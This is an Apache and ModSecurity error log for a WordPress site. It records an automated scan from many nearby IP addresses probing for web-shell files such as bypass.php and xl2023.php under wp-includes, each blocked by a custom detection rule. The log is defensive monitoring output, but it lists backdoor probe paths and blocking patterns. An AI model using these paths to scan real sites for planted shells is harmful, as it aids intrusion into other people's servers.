[Thu Dec 11 18:30:37.246048 2025] [:error] [pid 48261:tid 48284] [client 31.171.130.102:43681] [client 31.171.130.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.102, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aTqdTeyPI4WU-4JmiQOjEAAAAZQ"]
[Thu Dec 11 18:30:37.685232 2025] [:error] [pid 48261:tid 48271] [client 31.171.130.102:43681] [client 31.171.130.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aTqdTeyPI4WU-4JmiQOjFAAAAYc"]
[Thu Dec 11 18:30:46.348114 2025] [:error] [pid 57990:tid 58007] [client 31.171.130.91:27409] [client 31.171.130.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aTqdVgqZT_dc36fQdXFpKgAAAAw"]
[Thu Dec 11 18:30:48.641750 2025] [:error] [pid 27459:tid 27479] [client 31.171.130.85:51371] [client 31.171.130.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.85, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aTqdWFhPEXihPBKMpRM-ogAAARI"]
[Thu Dec 11 18:30:50.420868 2025] [:error] [pid 27459:tid 27473] [client 31.171.130.85:51371] [client 31.171.130.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aTqdWlhPEXihPBKMpRM-pwAAAQw"]
[Thu Dec 11 18:30:51.754250 2025] [:error] [pid 58814:tid 58821] [client 31.171.130.87:32051] [client 31.171.130.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aTqdW9iz0l9AD_3pkMwDFQAAAcU"]
[Thu Dec 11 18:30:53.545019 2025] [:error] [pid 48261:tid 48286] [client 31.171.130.82:43053] [client 31.171.130.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aTqdXeyPI4WU-4JmiQOjKgAAAZY"]
[Thu Dec 11 18:30:55.849347 2025] [:error] [pid 57991:tid 58037] [client 31.171.130.72:49915] [client 31.171.130.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aTqdX6PyGmNXA2ZsETaUmgAAAE8"]
[Thu Dec 11 18:30:56.788874 2025] [:error] [pid 58814:tid 58836] [client 31.171.130.81:50581] [client 31.171.130.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aTqdYNiz0l9AD_3pkMwDJAAAAdQ"]
[Thu Dec 11 18:31:00.334345 2025] [:error] [pid 57992:tid 58068] [client 31.171.130.70:29265] [client 31.171.130.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aTqdZOUeau0BMFF2vHmX4wAAAJM"]
[Thu Dec 11 18:31:02.044732 2025] [:error] [pid 35112:tid 35117] [client 31.171.130.80:40019] [client 31.171.130.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aTqdZp9ZpQ0WIeJhsJdOzAAAAUM"]
[Thu Dec 11 18:31:04.317693 2025] [:error] [pid 48261:tid 48286] [client 31.171.130.53:22983] [client 31.171.130.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aTqdaOyPI4WU-4JmiQOjPgAAAZY"]
[Thu Dec 11 18:31:06.557043 2025] [:error] [pid 57990:tid 58019] [client 31.171.130.66:37769] [client 31.171.130.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aTqdagqZT_dc36fQdXFpagAAABg"]
[Thu Dec 11 18:31:08.415214 2025] [:error] [pid 57991:tid 58043] [client 31.171.130.80:50785] [client 31.171.130.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aTqdbKPyGmNXA2ZsETaUoAAAAFU"]
[Thu Dec 11 18:31:10.742329 2025] [:error] [pid 58814:tid 58817] [client 31.171.130.99:63075] [client 31.171.130.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aTqdbtiz0l9AD_3pkMwDNQAAAcE"]
[Thu Dec 11 18:31:14.787044 2025] [:error] [pid 57992:tid 58060] [client 31.171.130.89:37673] [client 31.171.130.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aTqdcuUeau0BMFF2vHmYIwAAAIs"]
[Thu Dec 11 18:31:15.677338 2025] [:error] [pid 57990:tid 57995] [client 31.171.130.69:34401] [client 31.171.130.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aTqdcwqZT_dc36fQdXFpfAAAAAA"]
[Thu Dec 11 18:31:16.561864 2025] [:error] [pid 58099:tid 58119] [client 31.171.130.56:54567] [client 31.171.130.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aTqddMKZVSF_bdPFqRj3kwAAANI"]
[Thu Dec 11 18:31:17.531382 2025] [:error] [pid 57991:tid 58040] [client 31.171.130.92:20383] [client 31.171.130.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aTqddaPyGmNXA2ZsETaUpgAAAFI"]
[Thu Dec 11 18:31:18.931362 2025] [:error] [pid 58814:tid 58838] [client 31.171.130.53:28221] [client 31.171.130.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aTqddtiz0l9AD_3pkMwDSQAAAdY"]
[Thu Dec 11 18:31:19.835416 2025] [:error] [pid 58814:tid 58818] [client 31.171.130.60:48535] [client 31.171.130.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aTqdd9iz0l9AD_3pkMwDTgAAAcI"]
[Thu Dec 11 18:31:21.844223 2025] [:error] [pid 58099:tid 58118] [client 31.171.130.73:24469] [client 31.171.130.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aTqdecKZVSF_bdPFqRj3owAAANE"]
[Thu Dec 11 18:31:22.755736 2025] [:error] [pid 58814:tid 58820] [client 31.171.130.61:22269] [client 31.171.130.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aTqdetiz0l9AD_3pkMwDWAAAAcQ"]
[Thu Dec 11 18:31:23.632769 2025] [:error] [pid 27459:tid 27469] [client 31.171.130.88:27025] [client 31.171.130.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aTqde1hPEXihPBKMpRM-6gAAAQg"]
[Thu Dec 11 18:31:24.510955 2025] [:error] [pid 58814:tid 58827] [client 31.171.130.94:41287] [client 31.171.130.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aTqdfNiz0l9AD_3pkMwDYQAAAcs"]
[Thu Dec 11 18:31:25.855955 2025] [:error] [pid 57992:tid 58069] [client 31.171.130.76:25169] [client 31.171.130.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aTqdfeUeau0BMFF2vHmYKwAAAJQ"]
[Thu Dec 11 18:31:27.668452 2025] [:error] [pid 58814:tid 58819] [client 31.171.130.72:41513] [client 31.171.130.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aTqdf9iz0l9AD_3pkMwDcgAAAcM"]
[Thu Dec 11 18:31:30.492762 2025] [:error] [pid 58814:tid 58834] [client 31.171.130.104:58527] [client 31.171.130.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aTqdgtiz0l9AD_3pkMwDhgAAAdI"]
[Thu Dec 11 18:31:34.619740 2025] [:error] [pid 58814:tid 58822] [client 31.171.130.85:35583] [client 31.171.130.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aTqdhtiz0l9AD_3pkMwDlQAAAcY"]
[Thu Dec 11 18:31:36.910776 2025] [:error] [pid 57991:tid 58035] [client 31.171.130.61:41729] [client 31.171.130.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aTqdiKPyGmNXA2ZsETaUyAAAAE0"]
[Thu Dec 11 18:31:37.799675 2025] [:error] [pid 57990:tid 58012] [client 31.171.130.86:55243] [client 31.171.130.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aTqdiQqZT_dc36fQdXFpkgAAABE"]
[Thu Dec 11 18:31:40.480076 2025] [:error] [pid 57991:tid 58046] [client 31.171.130.103:38267] [client 31.171.130.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aTqdjKPyGmNXA2ZsETaUzwAAAFg"]
[Thu Dec 11 18:31:42.795296 2025] [proxy_fcgi:error] [pid 58814:tid 58833] [client 31.171.130.88:28475] AH01071: Got error 'Primary script unknown'
[Thu Dec 11 18:31:43.251813 2025] [proxy_fcgi:error] [pid 58814:tid 58839] [client 31.171.130.88:28475] AH01071: Got error 'Primary script unknown'
[Thu Dec 11 18:31:43.719635 2025] [proxy_fcgi:error] [pid 58814:tid 58824] [client 31.171.130.88:28475] AH01071: Got error 'Primary script unknown'
[Thu Dec 11 18:31:46.025716 2025] [:error] [pid 58814:tid 58837] [client 31.171.130.88:28475] [client 31.171.130.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aTqdktiz0l9AD_3pkMwD1wAAAdU"]
[Thu Dec 11 18:31:46.926322 2025] [:error] [pid 57991:tid 58044] [client 31.171.130.102:52999] [client 31.171.130.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aTqdkqPyGmNXA2ZsETaU4wAAAFY"]
[Thu Dec 11 18:31:47.843068 2025] [:error] [pid 57992:tid 58051] [client 31.171.130.73:36539] [client 31.171.130.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aTqdk-Ueau0BMFF2vHmYYQAAAII"]
[Thu Dec 11 18:31:48.731563 2025] [:error] [pid 35112:tid 35115] [client 31.171.130.85:27099] [client 31.171.130.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aTqdlJ9ZpQ0WIeJhsJdPEgAAAUE"]
[Thu Dec 11 18:31:49.667754 2025] [:error] [pid 58814:tid 58840] [client 31.171.130.72:33341] [client 31.171.130.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aTqdldiz0l9AD_3pkMwD2wAAAdg"]
[Thu Dec 11 18:31:50.562914 2025] [:error] [pid 58814:tid 58830] [client 31.171.130.91:25603] [client 31.171.130.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aTqdltiz0l9AD_3pkMwD3wAAAc4"]
[Thu Dec 11 18:31:51.896106 2025] [:error] [pid 58814:tid 58824] [client 31.171.130.100:61383] [client 31.171.130.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aTqdl9iz0l9AD_3pkMwD6gAAAcg"]
[Thu Dec 11 18:31:52.853676 2025] [:error] [pid 57991:tid 58032] [client 31.171.130.90:59079] [client 31.171.130.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aTqdmKPyGmNXA2ZsETaU7wAAAEo"]
[Thu Dec 11 18:31:53.734157 2025] [:error] [pid 58099:tid 58122] [client 31.171.130.74:21585] [client 31.171.130.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aTqdmcKZVSF_bdPFqRj38QAAANU"]
[Thu Dec 11 18:31:54.621773 2025] [:error] [pid 35112:tid 35129] [client 31.171.130.68:34317] [client 31.171.130.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aTqdmp9ZpQ0WIeJhsJdPPQAAAU8"]
[Thu Dec 11 18:31:56.428262 2025] [:error] [pid 57990:tid 58000] [client 31.171.130.76:45473] [client 31.171.130.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aTqdnAqZT_dc36fQdXFpqgAAAAU"]
[Thu Dec 11 18:31:57.738698 2025] [:error] [pid 35112:tid 35116] [client 31.171.130.55:52791] [client 31.171.130.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aTqdnZ9ZpQ0WIeJhsJdPWQAAAUI"]
[Thu Dec 11 18:31:59.505737 2025] [:error] [pid 27459:tid 27474] [client 31.171.130.66:45899] [client 31.171.130.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aTqdn1hPEXihPBKMpRM_IwAAAQ0"]
[Thu Dec 11 18:32:01.364596 2025] [:error] [pid 57992:tid 58049] [client 31.171.130.63:60207] [client 31.171.130.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aTqdoeUeau0BMFF2vHmYbgAAAIA"]
[Thu Dec 11 18:32:03.839197 2025] [:error] [pid 58099:tid 58116] [client 31.171.130.103:24415] [client 31.171.130.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aTqdo8KZVSF_bdPFqRj3_QAAAM8"]
[Thu Dec 11 18:32:06.551631 2025] [:error] [pid 58814:tid 58840] [client 31.171.130.53:27361] [client 31.171.130.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aTqdptiz0l9AD_3pkMwEEgAAAdg"]
[Thu Dec 11 18:32:07.887856 2025] [:error] [pid 48261:tid 48266] [client 31.171.130.94:22943] [client 31.171.130.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aTqdp-yPI4WU-4JmiQOjiQAAAYI"]
[Thu Dec 11 18:32:16.078729 2025] [:error] [pid 35112:tid 35138] [client 31.171.130.67:49633] [client 31.171.130.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aTqdsJ9ZpQ0WIeJhsJdPfQAAAVg"]
